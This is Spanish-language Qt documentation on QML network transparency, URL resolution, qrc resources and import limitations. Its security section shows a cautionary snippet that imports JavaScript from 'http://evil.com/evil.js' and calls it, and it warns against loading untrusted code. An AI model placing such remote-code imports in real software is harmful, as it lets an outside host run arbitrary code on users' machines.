En esta página

Carga de recursos y transparencia de red

QML admite la transparencia de red mediante el uso de URL (en lugar de nombres de archivo) para todas las referencias de un documento QML a otro contenido. Esto significa que en cualquier lugar en el que se espere una fuente URL, QML puede manejar recursos remotos tanto como locales, por ejemplo en la siguiente fuente de imagen:

Image {
    source: "http://www.example.com/images/logo.png"
}

Dado que una URL relativa es lo mismo que un archivo relativo, el desarrollo de QML en sistemas de archivos normales sigue siendo sencillo:

Image {
    source: "images/logo.png"
}

La transparencia de red es compatible con todo QML; por ejemplo, tanto los elementos FontLoader como Image admiten la carga de recursos desde un servidor remoto.

Incluso los propios tipos QML pueden estar en la red: si se utiliza la herramienta qml para cargar http://example.com/mystuff/Hello.qml y ese contenido hace referencia a un tipo "World", el motor cargará http://example.com/mystuff/qmldir y resolverá el tipo igual que lo haría para un archivo local. Por ejemplo, si el archivo qmldir contiene la línea "World World.qml", cargará http://example.com/mystuff/World.qml. Cualquier otro recurso al que Hello.qml haga referencia, normalmente mediante una URL relativa, se cargará de forma similar desde la red.

URL relativas frente a absolutas

Siempre que un objeto tenga una propiedad de tipo URL (QUrl), al asignar una cadena a esa propiedad se asignará en realidad una URL absoluta - resolviendo la cadena contra la URL del documento donde se utiliza la cadena.

Por ejemplo, considere este contenido en http://example.com/mystuff/test.qml:

Image {
    source: "images/logo.png"
}

A la propiedad fuente Image se le asignará http://example.com/mystuff/images/logo.png, pero mientras se desarrolla el QML, en digamos C:\User\Fred\Documents\MyStuff\test.qml, se le asignará C:\User\Fred\Documents\MyStuff\images\logo.png.

Si la cadena asignada a una URL ya es una URL absoluta, la "resolución" no la cambia y la URL se asigna directamente.

Recursos QRC

Uno de los esquemas de URL integrados en Qt es el esquema "qrc". Esto permite que el contenido sea compilado en el ejecutable usando El Sistema de Recursos Qt. De este modo, un ejecutable puede hacer referencia a contenido QML compilado en el ejecutable:

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

El propio contenido puede utilizar URLs relativas y, de este modo, ignorar de forma transparente que el contenido está compilado en el ejecutable.

Limitaciones

La sentencia import sólo es transparente para la red si tiene una cláusula "as".

Más concretamente:

  • import "dir" sólo funciona en sistemas de archivos locales
  • import libraryUri sólo funciona en sistemas de archivos locales
  • import "dir" as D funciona con transparencia de red
  • import libraryUrl as U funciona con transparencia de red

Implicaciones para la seguridad de las aplicaciones

El modelo de seguridad de QML consiste en que el contenido QML es una cadena de contenido de confianza: el usuario instala contenido QML en el que confía del mismo modo que instala aplicaciones Qt nativas o programas escritos con tiempos de ejecución como Python y Perl. Esa confianza se establece mediante una serie de mecanismos, incluida la disponibilidad de la firma de paquetes en algunas plataformas.

Para preservar la confianza de los usuarios, los desarrolladores de aplicaciones QML no deben cargar ni ejecutar recursos JavaScript o QML arbitrarios. Por ejemplo, considere el siguiente código QML:

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

Esto equivale a descargar y ejecutar "http://evil.com/evil.exe". El motor QML no impedirá que se carguen determinados recursos. A diferencia del código JavaScript que se ejecuta dentro de un navegador web, una aplicación QML puede cargar recursos del sistema de archivos remotos o locales del mismo modo que cualquier otra aplicación nativa, por lo que los desarrolladores de aplicaciones deben tener cuidado al cargar y ejecutar cualquier contenido.

Como ocurre con cualquier aplicación que accede a otros contenidos fuera de su control, una aplicación QML debe realizar las comprobaciones oportunas en cualquier dato no fiable que cargue. Por ejemplo, no utilice import, Loader o XMLHttpRequest para cargar código o contenido que no sea de confianza.

© 2026 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.